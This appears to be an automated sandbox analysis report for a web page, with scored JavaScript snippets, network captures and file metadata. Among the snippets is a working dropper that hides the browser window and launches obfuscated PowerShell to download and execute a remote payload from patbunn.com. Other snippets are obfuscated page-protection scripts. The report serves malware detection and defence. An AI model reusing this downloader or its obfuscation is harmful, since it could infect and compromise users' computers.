eval(unescape('v%61r%20q%79%37%3D%27%27%3Bq%79%38%3DStr%69%6Eg%2Efrom%43\150%61\162\103\157\144e%28%31%33%2C%31%30%29%3B\146%6Fr%28i%3D%30%3B%69%3C%32%34%38%33%3Bi%2B%2B%29%7B%71y%37%2B%3D%71%79%38%7D%3B\146unction%20%71y%36%28%29%7B%69\146%28%21%64%6F\143%75men\164%2Ed%6F%63\165m%65n\164\115od\145%26%26%21\144%6F%63\165men%74%2E\141\154l%29%7Bdo\143%75m%65nt%2Ewr\151%74e%28\161y%37%29%7D%7D%3B%71y%36%28%29%3Bfun\143tio%6E%20q\171%39%28%29%7B\172%69%39%3D%22%3Cs%22%2B%22p%61n%20\163t%79%6C%65%3D%27d%69s\160\154a%79%3An%6Fne%27%3E%3Cpr\145%3E%22%2Bq%79%37%2B%22%3C%2F\160r%65%3E%3C%2F%73%22%2B%22p%61n%3E%22%3B\172\151%32%3Dnew%20%41\162r%61\171%28%27\141\146te\162\102egi\156%27%2C%27befo%72eE\156\144%27%2C%27\141\146t\145rE%6Ed%27%2C%27%62e%66or%65B\145g%69\156%27%29%3Bz\151%33%3Dn%65w%20A%72%72\141y%28%27%68\164ml%27%2C%27\150%65ad%27%2C%27%62%6Fd\171%27%29%3B%66\157\162%28\153%3D%30%3B%6B%3C%3D%7Ai%33%2E%6Ce\156%67t%68%3Bk%2B%2B%29%7B\172%69%34%3D%64o%63\165men\164%2Eg\145\164\105\154\145m%65n%74%73B\171T\141%67\116ame%28z%69%33%5Bk%5D%29%3B\146\157r%28\152%3D%30%3B%6A%3C%3Dzi%34%2El%65\156\147%74%68%3B%6A%2B%2B%29%7B\146\157%72%28\151%3D%30%3B\151%3C%3D%33%3Bi%2B%2B%29%7Bi\146%28\172\151%34%5Bj%5D%29%7B%7Ai%34%5B%6A%5D%2E%69nsertAdj\141cen%74%48T\115L%28z\151%32%5Bi%5D%2C%7A%69%39%29%7D%7D%7D%7D%7D%3B'))
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script contains multiple high-risk indicators: 1) Uses eval() for dynamic code execution, 2) Heavy obfuscation through escape/unescape encoding, 3) Aggressive DOM manipulation through insertAdjacentHTML, and 4) Creates large strings of suspicious content. The code appears deliberately obscured to hide malicious intent." }
/* /eval(unescape('v%61r%20q%79%37%3D%27%27%3Bq%79%38%3DStr%69%6Eg%2Efrom%43\150%61\162\103\157\144e%28%31%33%2C%31%30%29%3B\146%6Fr%28i%3D%30%3B%69%3C%32%34%38%33%3Bi%2B%2B%29%7B%71y%37%2B%3D%71%79%38%7D%3B\146unction%20%71y%36%28%29%7B%69\146%28%21%64%6F\143%75men\164%2Ed%6F%63\165m%65n\164\115od\145%26%26%21\144%6F%63\165men%74%2E\141\154l%29%7Bdo\143%75m%65nt%2Ewr\151%74e%28\161y%37%29%7D%7D%3B%71y%36%28%29%3Bfun\143tio%6E%20q\171%39%28%29%7B\172%69%39%3D%22%3Cs%22%2B%22p%61n%20\163t%79%6C%65%3D%27d%69s\160\154a%79%3An%6Fne%27%3E%3Cpr\145%3E%22%2Bq%79%37%2B%22%3C%2F\160r%65%3E%3C%2F%73%22%2B%22p%61n%3E%22%3B\172\151%32%3Dnew%20%41\162r%61\171%28%27\141\146te\162\102egi\156%27%2C%27befo%72eE\156\144%27%2C%27\141\146t\145rE%6Ed%27%2C%27%62e%66or%65B\145g%69\156%27%29%3Bz\151%33%3Dn%65w%20A%72%72\141y%28%27%68\164ml%27%2C%27\150%65ad%27%2C%27%62%6Fd\171%27%29%3B%66\157\162%28\153%3D%30%3B%6B%3C%3D%7Ai%33%2E%6Ce\156%67t%68%3Bk%2B%2B%29%7B\172%69%34%3D%64o%63\165men\164%2Eg\145\164\105\154\145m%65n%74%73B\171T\141%67\116ame%28z%69%33%5Bk%5D%29%3B\146\157r%28\152%3D%30%3B%6A%3C%3Dzi%34%2El%65\156\147%74%68%3B%6A%2B%2B%29%7B\146\157%72%28\151%3D%30%3B\151%3C%3D%33%3Bi%2B%2B%29%7Bi\146%28\172\151%34%5Bj%5D%29%7B%7Ai%34%5B%6A%5D%2E%69nsertAdj\141cen%74%48T\115L%28z\151%32%5Bi%5D%2C%7A%69%39%29%7D%7D%7D%7D%7D%3B'))/ */
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script shows multiple concerning behaviors: attempts to detect browser environment, error handling suppression (window.onerror override), and includes promotional content injection via document.write(). While not definitively malicious, these patterns are commonly associated with anti-debugging and code protection techniques that could be used maliciously." }
/* /document.write("<table width='100%' border='0'><tr><td bgcolor='#006600' align = 'center'><font style ='font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #FFFFFF; background-color: #006600'>The source code of this page is protected by <b><font style ='color: #FFCC00'>HTML Guardian</font></b> <br>The ultimate tool to protect your HTML code, images, Java applets, Javascripts, links, keep web content filters away and much more... </font><br><a style ='text-decoration: none; color: #FFCC00' href='http://www.protware.com' target='_blank'> <b><font style ='font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #FFCC00; background-color: #006600'>www.ProtWare.com</font></b></a></td></tr></table>");dl=document.layers;oe=window.opera?1:0;da=(document.documentMode\|\|document.all)&&!oe;ge=document.getElementById;ws=window.sidebar?true:false;tN=navigator.userAgent.toLowerCase();izN=tN.indexOf('netscape')>=0?true:false;zis=da;zis8=da;var msg='';function nem(){return true};window.onerror = nem;zOF=window.location.protocol.indexOf('file')!=-1?true:false;i7f=zis&&!zOF?true:false;/ */
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk code containing multiple severe security issues: 1) Uses eval() for dynamic code execution, 2) Contains heavily obfuscated/encoded strings using unescape(), 3) Uses string concatenation and global variables in suspicious ways, 4) Code is intentionally obscured with excessive whitespace and comments. Pattern matches known malicious code behaviors." }
/* /a6RWdG34P7ijc1 ='KIHvoHbOOUOrqwhmTJYqdKKcgSxjBORcDfJDqvWVHc';snGNW9IBB36xT4COi70 (vpF58IR4g);xT4COi70snGNW9IBB36 (tYlNt36P3cFG);pMzqvHM8Mlgk7='h7BNDWNu3KgELp67bSX16L0f';eval(unescape('%71%79%36%28%27%39%62%35%63%36%65%27%29%3B'));q49Mb7+= 'edSDYmfmIGajOOMupHcrnEcdebJqaGoXZNbvOGoulyOoHFyOMcTDLHibvFOaWkkNLJJOgOrhorpQpeRohBdoCHLcSd';/ */
URL: https://noisefreqs.com/Ray-verify.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "The source code of this page is protected by HTML Guardian", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 10, "reasoning": "Highly malicious code detected: Uses ActiveX to spawn PowerShell, attempts to hide window (moveTo negative coordinates), downloads external payload from suspicious domain (patbunn.com), uses heavy obfuscation with string concatenation and character replacement, and executes downloaded content. Classic malware behavior with multiple high-risk indicators including dynamic code execution, obfuscation, and suspicious domain interaction." }
window.moveTo(-4000, -4000); AASQ = "W"+"Scr"+"ipt.S"+"hell"; SSDD = new ActiveXObject(AASQ); KK1 = "p"+"o"+"we"+"rs"+"he"+"ll "; FF31="http://patbunn.com/o/o.png"; FFO = "$c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%i"; FF6="I`E`X $TC\|I`E`X"; FF4="'')';$TC=($c1,$c4,$c3 -Join '');"; FF2="e%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''"; FF5="$TC=$TC.replace('%','');"; SSDD.Run(KK1+FFO+FF2+FF31+FF4+FF5+FF6+" ",0); window.close();
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk script with multiple red flags: heavy obfuscation (variable names like 'III1', 'l111'), DOM manipulation to hide/remove elements, disabling of critical window functions (window.open, document.write, alert), injection of hidden content, and browser fingerprinting. Uses String.fromCharCode for obfuscation and creates large amounts of whitespace, typical of malicious scripts attempting to evade detection." }
var ppconf=0;var qy7='';qy8=String.fromCharCode(13,10,13,10);for(i=0;i<498;i++){qy7+=qy8};l111="<"+"!--"+qy7+"--"+">";III1="/"+""+qy7+""+"/";I1ll="<scr"+"ipt>"+lII1(1)+lII1(2)+"='"+lII1(3)+"'</scri"+"pt>";llll="<s"+"pan style='display:none'><pre>"+qy7+"</pre></s"+"pan>";Il11=llll+l111+llll;I1l1="<"+"span>";I11l="</"+"span>";l1II="<"+"span style='visibility:hidden'>qweasdzxc"+I11l;function lIIl(){lllI=new Array('beforeBegin','afterBegin','beforeEnd','afterEnd');IIII=new Array('html','head','body','a','img','div','form','table','script','input','p');lI1l=lll1();switch(lI1l){case 1:Il1l=new Array(79,79,79,73,73,73,73,73,73,73,73);break;case 2:Il1l=new Array(38,47,47,15,41,15,9,9,22,15,15);break;case 3:Il1l=new Array(0,38,38,15,9,15,9,9,22,15,15);break;case 4:Il1l=new Array(38,47,47,15,41,15,9,9,22,15,15);break;default:Il1l=new Array(0,0,0,0,0,0,0,0,0,0,0)};IIIl=new Array(l111,III1,I1ll,llll,Il11,I1l1,I11l,l1II);l1Il(document.getElementsByTagName(IIII[2])[0],2,IIIl[7]);for(t=0;t<IIII.length;t++){m=Il1l[t];lI1I=document.getElementsByTagName(IIII[t]);ctaL=lI1I.length;for(j=0;j<ctaL;j++){for(x=0;x<4;x++){if(m&Math.pow(2,x)){l1Il(lI1I[j],x,IIIl[m>>>4])}}}};l11l();lIII();Ill1();I111();setTimeout('IllI()',1000)};function l11l(){var Il1I=document.images,Illl=document.links,il=Il1I.length,ll=Illl.length,I1lI;while(il){l1I1=document.createElement('span');I1lI=Il1I[--il];if(!(ppconf&2)){try{l1I1.appendChild(I1lI.parentNode.replaceChild(l1I1,I1lI))}catch(e){}}};while(ll){l1I1=document.createElement('span');I1lI=Illl[--ll];if(!(ppconf&1)){try{l1I1.appendChild(I1lI.parentNode.replaceChild(l1I1,I1lI))}catch(e){}}}};function lIII(){window.open=null;document.open=null;document.write=null;window.alert=null;};function Ill1(){var extraFunc1Cntnt=0};function I111(){var extraFunc2Cntnt=0};function l1Il(e,p,c){try{if(!window.sidebar){e.insertAdjacentHTML(lllI[p],c)}else {rcf=document.createRange().createContextualFragment(c);if(p==0){e.parentNode.insertBefore(rcf,e)};if(p==1){e.insertBefore(rcf,e.firstChild)};if(p==2){e.appendChild(rcf)};if(p==3){e.parentNode.insertBefore(rcf,e.nextSibling)}}}catch(xuu){}};function lII1(j){r=Math.random();d=new Date().getTime();if(j==1){o=String.fromCharCode(Math.floor(r25+65))}else {o=Math.floor(rd*1000)+'';o+=o;o+=o;o+=o};if(j==3){o+=o;o+=o};return o};if(typeof window.addEventListener!='undefined'){window.addEventListener('load',lIIl,false)}else if(typeof document.addEventListener!='undefined'){document.addEventListener('load',lIIl,false)}else if(typeof window.attachEvent!='undefined'){window.attachEvent('onload',lIIl)};function lll1(){lI1l=0;u=navigator.userAgent.toLowerCase();if(window.sidebar){lI1l=2};if(window.chrome){lI1l=3};if(window.opera){lI1l=4};if(document.all&&lI1l!==4){lI1l=1};if(u.indexOf('safari')>1){lI1l=3};if((lI1l==1)&&(u.indexOf('ie 10')>1)){lI1l=10};return lI1l}
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "Script shows suspicious behavior with obfuscated variable names (l1l, ll1, etc.) and browser fingerprinting attempts. It checks for document modes, user agent, and protocol, potentially for environment detection. While no immediate harmful actions are visible, the obfuscation pattern and environment checks are common in malicious scripts preparing for exploitation." }
l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';p82i0aVMDcn='pRmzEZl3YN8c';
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "Script shows moderate risk behaviors: attempts to disable error reporting (window.onerror override), checks for various browser conditions, and includes suspicious browser fingerprinting. While it includes a promotional banner for 'HTML Guardian', the code contains browser detection and error suppression techniques often used in potentially harmful scripts. However, no clear high-risk behaviors like eval() or data exfiltration are present." }
document.write("<table width='100%' border='0'><tr><td bgcolor='#006600' align = 'center'><font style ='font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #FFFFFF; background-color: #006600'>The source code of this page is protected by <b><font style ='color: #FFCC00'>HTML Guardian</font></b> <br>The ultimate tool to protect your HTML code, images, Java applets, Javascripts, links, keep web content filters away and much more... </font><br><a style ='text-decoration: none; color: #FFCC00' href='http://www.protware.com' target='_blank'> <b><font style ='font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; color: #FFCC00; background-color: #006600'>www.ProtWare.com</font></b></a></td></tr></table>");dl=document.layers;oe=window.opera?1:0;da=(document.documentMode\|\|document.all)&&!oe;ge=document.getElementById;ws=window.sidebar?true:false;tN=navigator.userAgent.toLowerCase();izN=tN.indexOf('netscape')>=0?true:false;zis=da;zis8=da;var msg='';function nem(){return true};window.onerror = nem;zOF=window.location.protocol.indexOf('file')!=-1?true:false;i7f=zis&&!zOF?true:false;
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "High-risk code containing multiple red flags: heavily obfuscated strings, use of eval() with unescape() for dynamic code execution, and suspicious variable naming patterns typical of malware. The presence of encoded URI components and seemingly random variable names suggests deliberate obfuscation to hide malicious intent." }
a6RWdG34P7ijc1 ='KIHvoHbOOUOrqwhmTJYqdKKcgSxjBORcDfJDqvWVHc';snGNW9IBB36xT4COi70 (vpF58IR4g);xT4COi70snGNW9IBB36 (tYlNt36P3cFG);pMzqvHM8Mlgk7='h7BNDWNu3KgELp67bSX16L0f';eval(unescape('%71%79%36%28%27%39%62%35%63%36%65%27%29%3B'));q49Mb7+= 'edSDYmfmIGajOOMupHcrnEcdebJqaGoXZNbvOGoulyOoHFyOMcTDLHibvFOaWkkNLJJOgOrhorpQpeRohBdoCHLcSd';
URL: https://noisefreqs.com/Ray-verify.html Model: Joe Sandbox AI	{ "brands": [ "HTML Guardian" ] }
	{ "brands": [ "HTML Guardian" ] }
URL: http://www.protware.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Total protection for your website !", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": true, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: http://www.protware.com/ Model: Joe Sandbox AI	{ "brands": [ "ProtWare" ] }
	{ "brands": [ "ProtWare" ] }

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	662
Entropy (8bit):	5.187979360123791
Encrypted:	false
SSDEEP:	12:uMXlV1kDRZgKq2jhZzBAqhIaiCKIC9JHuvMhoduUGhaxhS:uMVV1YRZgKThZz+iuC3xvMhAS
MD5:	699C66BB87E9F0BA1B3F66DD446399A3
SHA1:	7242EC04D215404B99DE2EAB1B2677CC52AF52DA
SHA-256:	77BC94DED024040B9700E868587A57C1F4B1B7C7AD29003E61DC7CA792C7395D
SHA-512:	1D1B8FFBD64E82B9F1A47EFFDD097FD0342D3324BC12E2A8AF0F17A782776FD5329C454CF83E578979DB775557D027B28EE5C5384592A8F8710C3A265362A0EF
Malicious:	false
Reputation:	low
Preview:	if(document.all){Brwsr = "IE"}..if(document.layers){Brwsr = "NN4"}..if(document.getElementById && window.sidebar){Brwsr = "NN6"}..if(navigator.appName =="Opera"){Brwsr = "Opera"}......function MM_reloadPage(init) { //reloads the window if Nav4 resized.. if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {.. document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}.. else if (innerWidth!=document.MM_pgW \|\| innerHeight!=document.MM_pgH) location.reload();..}..MM_reloadPage(true);..../..if(Brwsr != "NN4"){..window.moveTo(0,0);..window.resizeTo(screen.availWidth,screen.availHeight) ..}../

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2024 00:40:10.991784096 CET	53	52567	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:10.991795063 CET	53	53732	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:13.708743095 CET	53	58357	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:14.128989935 CET	58416	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:14.129131079 CET	55325	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:14.266330957 CET	53	55325	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:14.266598940 CET	53	58416	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:15.981487036 CET	56709	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:15.981887102 CET	57657	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:16.376904964 CET	53	56709	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:16.389604092 CET	53	57657	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:30.665803909 CET	138	138	192.168.2.4	192.168.2.255
Nov 30, 2024 00:40:30.736275911 CET	53232	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:30.736546040 CET	56209	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:30.738065958 CET	53	60334	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:31.754769087 CET	56994	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:31.754919052 CET	62990	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:31.987168074 CET	53	53232	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:31.987509966 CET	53	56994	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:31.987922907 CET	53	62990	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:31.988097906 CET	53	56209	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:33.804081917 CET	57039	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:33.804244995 CET	56702	53	192.168.2.4	1.1.1.1
Nov 30, 2024 00:40:33.942066908 CET	53	57039	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:33.942986012 CET	53	56702	1.1.1.1	192.168.2.4
Nov 30, 2024 00:40:49.565618992 CET	53	60920	1.1.1.1	192.168.2.4
Nov 30, 2024 00:41:09.799721956 CET	53	57410	1.1.1.1	192.168.2.4
Nov 30, 2024 00:41:12.077994108 CET	53	59751	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 00:40:32.109298944 CET	431	OUT	GET / HTTP/1.1 Host: www.protware.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Nov 30, 2024 00:40:33.363440990 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Nov 2024 23:40:33 GMT Content-Type: text/html Content-Length: 11654 Connection: keep-alive Last-Modified: Fri, 03 Feb 2023 15:57:08 GMT Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 45 6e 63 72 79 70 74 20 48 54 4d 4c 20 73 6f 75 72 63 65 2c 20 4a 61 76 61 73 63 72 69 70 74 2c 20 41 53 50 2e 20 50 72 6f 74 65 63 74 20 6c 69 6e 6b 73 20 26 61 6d 70 3b 20 69 6d 61 67 65 73 2e 20 48 54 4d 4c 20 65 6e 63 72 79 70 74 69 6f 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 4c 49 4e 4b 20 52 45 4c 3d 22 53 48 4f 52 54 43 55 54 20 49 43 4f 4e 22 20 48 52 45 46 3d 22 65 6e 63 72 79 70 74 5f 68 74 6d 6c 2e 69 63 6f 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 63 72 79 70 74 20 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><title>Encrypt HTML source, Javascript, ASP. Protect links & images. HTML encryption</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><LINK REL="SHORTCUT ICON" HREF="encrypt_html.ico"><meta name="keywords" content="Encrypt html,protect,source,web,page,javascript,asp,vbscript,code,email,scramble,secure"><meta name="description" content="Encrypt html source, protect javascript, asp encryption, web site password protection email scramble"><meta name="page-topic" content="Encrypt HTML source code, protect website. Encryption of ASP, Javascript, html"><meta name="author" content="ProtWare, Inc. The recognized leader in web site and intellectual property protection since 1997"><meta name="subject" content="password protect web site source code encryption"><meta name="page-type" content="tool for encryption of html, asp, vbscript, javascript code"><script language="JavaScript
Nov 30, 2024 00:40:33.363594055 CET	1236	IN	Data Raw: 22 20 73 72 63 20 3d 20 22 6d 6d 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 66 72 61 6d 65 73 65 74 20 72 6f 77 73 3d 22 31 34 33 2c 2a 22 20 63 6f 6c 73 3d 22 2a 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 4e 4f 22 Data Ascii: " src = "mm.js"></script></head><frameset rows="143," cols="" frameborder="NO" border="0" framespacing="0"> <frame name="top" scrolling="NO" noresize src="menu.htm" > <frameset cols="43,*" frameborder="NO" border="0" framespacing="0"
Nov 30, 2024 00:40:33.363605976 CET	1236	IN	Data Raw: 62 65 20 61 66 66 65 63 74 65 64 20 69 6e 20 61 6e 79 20 77 61 79 20 2d 20 74 68 65 79 20 77 69 6c 6c 20 6c 6f 6f 6b 20 65 78 61 63 74 6c 79 20 0a 20 20 74 68 65 20 73 61 6d 65 20 61 73 20 62 65 66 6f 72 65 20 69 6e 20 61 6e 79 20 62 72 6f 77 73 Data Ascii: be affected in any way - they will look exactly the same as before in any browser.</p><br><p>Visit our partner site, <a href="http://www.encrypt-html.com">Encrypt HTML leader Code Protection Technologies</a></p><p><img src="encrypt_html.g
Nov 30, 2024 00:40:33.364166975 CET	1236	IN	Data Raw: 72 6f 68 69 62 69 74 65 64 20 0a 20 20 2d 20 61 20 76 65 72 79 20 75 73 65 66 75 6c 20 66 65 61 74 75 72 65 20 74 6f 20 70 72 65 76 65 6e 74 20 6f 70 65 6e 69 6e 67 20 6f 66 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 69 6e 20 66 72 61 6d 65 73 29 Data Ascii: rohibited - a very useful feature to prevent opening of your website in frames). </p> <p> Visit our Yahoo.com group or MSN.com group to discuss web intellectual property security related issues.<a href="http://www.protware.com/faq1.htm
Nov 30, 2024 00:40:33.364181042 CET	896	IN	Data Raw: 6e 20 61 64 64 2d 6f 6e 20 70 72 6f 76 69 64 65 73 20 65 6e 68 61 6e 63 65 64 20 3c 62 3e 3c 61 20 68 72 65 66 3d 22 69 6d 61 67 65 5f 70 72 6f 74 65 63 74 69 6f 6e 2e 68 74 6d 22 3e 69 6d 61 67 65 20 20 0a 20 20 70 72 6f 74 65 63 74 69 6f 6e 3c Data Ascii: n add-on provides enhanced <b><a href="image_protection.htm">image protection</a></b> for each picture in .gif, .jpg , .png and .bmp format. Theft of website images is a major concern for all webmasters who have a high quality pictu
Nov 30, 2024 00:40:33.364192963 CET	1236	IN	Data Raw: 74 6f 20 73 61 79 20 48 54 4d 4c 47 75 61 72 64 69 61 6e 20 69 73 20 0a 20 20 74 68 65 20 62 65 73 74 20 70 72 6f 64 75 63 74 20 6f 66 20 69 74 73 20 6b 69 6e 64 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 64 61 79 2e 20 41 63 74 75 61 6c 6c 79 20 6d Data Ascii: to say HTMLGuardian is the best product of its kind available today. Actually most of them consider it the only solution to provide real security for your intellectual property - either posted online or distributed offline.</p> <br><p
Nov 30, 2024 00:40:33.365108967 CET	1236	IN	Data Raw: 72 6f 74 65 63 74 20 48 54 4d 4c 20 66 69 6c 65 73 3c 2f 61 3e 20 69 6e 20 61 6e 20 65 78 74 72 65 6d 65 6c 79 20 73 65 63 75 72 65 20 77 61 79 2e 20 56 65 72 73 69 6f 6e 73 20 36 2e 34 20 61 6e 64 20 6c 61 74 65 72 20 69 6e 63 6c 75 64 65 20 0a Data Ascii: rotect HTML files</a> in an extremely secure way. Versions 6.4 and later include the new Ultra - Strong password protection utility. It can <b>password protect html</b> files with up to 384 bit keys. Just for a comparison, for online cre
Nov 30, 2024 00:40:33.365118980 CET	448	IN	Data Raw: 77 69 6c 6c 20 61 6c 73 6f 20 61 76 6f 69 64 20 61 6c 6c 20 0a 20 20 6d 61 69 6c 20 63 65 6e 73 6f 72 73 68 69 70 20 75 74 69 6c 69 74 69 65 73 20 77 68 69 63 68 20 6d 61 79 20 6f 74 68 65 72 77 69 73 65 20 62 6c 6f 63 6b 20 6d 65 73 73 61 67 65 Data Ascii: will also avoid all mail censorship utilities which may otherwise block messages sent by you and make them unavailable for some of the recipients.<br> <br> The program has many advanced batch processing features - you can protect not
Nov 30, 2024 00:40:33.365128040 CET	1236	IN	Data Raw: 74 65 63 74 20 74 68 65 69 72 20 63 6f 64 65 2c 20 69 6d 61 67 65 73 20 61 6e 64 20 6f 74 68 65 72 20 69 6e 74 65 6c 6c 65 63 74 75 61 6c 20 70 72 6f 70 65 72 74 79 2c 20 74 68 65 72 65 20 61 72 65 20 74 6f 6e 73 20 6f 66 20 6f 74 68 65 72 20 66 Data Ascii: tect their code, images and other intellectual property, there are tons of other features - like the option to compress and optimize your source, which results in lightning fast page downloads. Read a detailed overview of all <a href="featu
Nov 30, 2024 00:40:33.365139008 CET	1236	IN	Data Raw: 73 65 20 2d 20 69 6e 20 74 6f 64 61 79 27 73 20 68 69 67 68 6c 79 20 63 6f 6d 70 65 74 69 74 69 76 65 20 0a 20 20 65 6e 76 69 72 6f 6e 6d 65 6e 74 2c 20 74 68 69 73 20 69 73 20 73 6f 6d 65 74 68 69 6e 67 20 73 65 72 69 6f 75 73 20 77 65 62 20 64 Data Ascii: se - in today's highly competitive environment, this is something serious web designers and developers would like to avoid.<br> That's why more and more web designers and developers are now looking for a flexible and easy to use but po
Nov 30, 2024 00:40:33.483560085 CET	656	IN	Data Raw: 68 69 73 20 63 61 6e 20 69 6e 63 72 65 61 73 65 20 74 68 65 20 6e 75 6d 62 65 72 20 0a 20 20 6f 66 20 76 69 73 69 74 73 20 74 6f 20 79 6f 75 72 20 73 69 74 65 20 62 79 20 73 65 76 65 72 61 6c 20 74 69 6d 65 73 21 3c 62 72 3e 0a 20 20 43 68 65 63 Data Ascii: his can increase the number of visits to your site by several times!<br> Check some <a href="http://www.protware.com/tech/"> security, encryption and image protection related tips</a> </p> <p> To <b>encrypt html</b> and secure our
Nov 30, 2024 00:40:33.803440094 CET	475	OUT	GET /blank.htm HTTP/1.1 Host: www.protware.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://www.protware.com/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
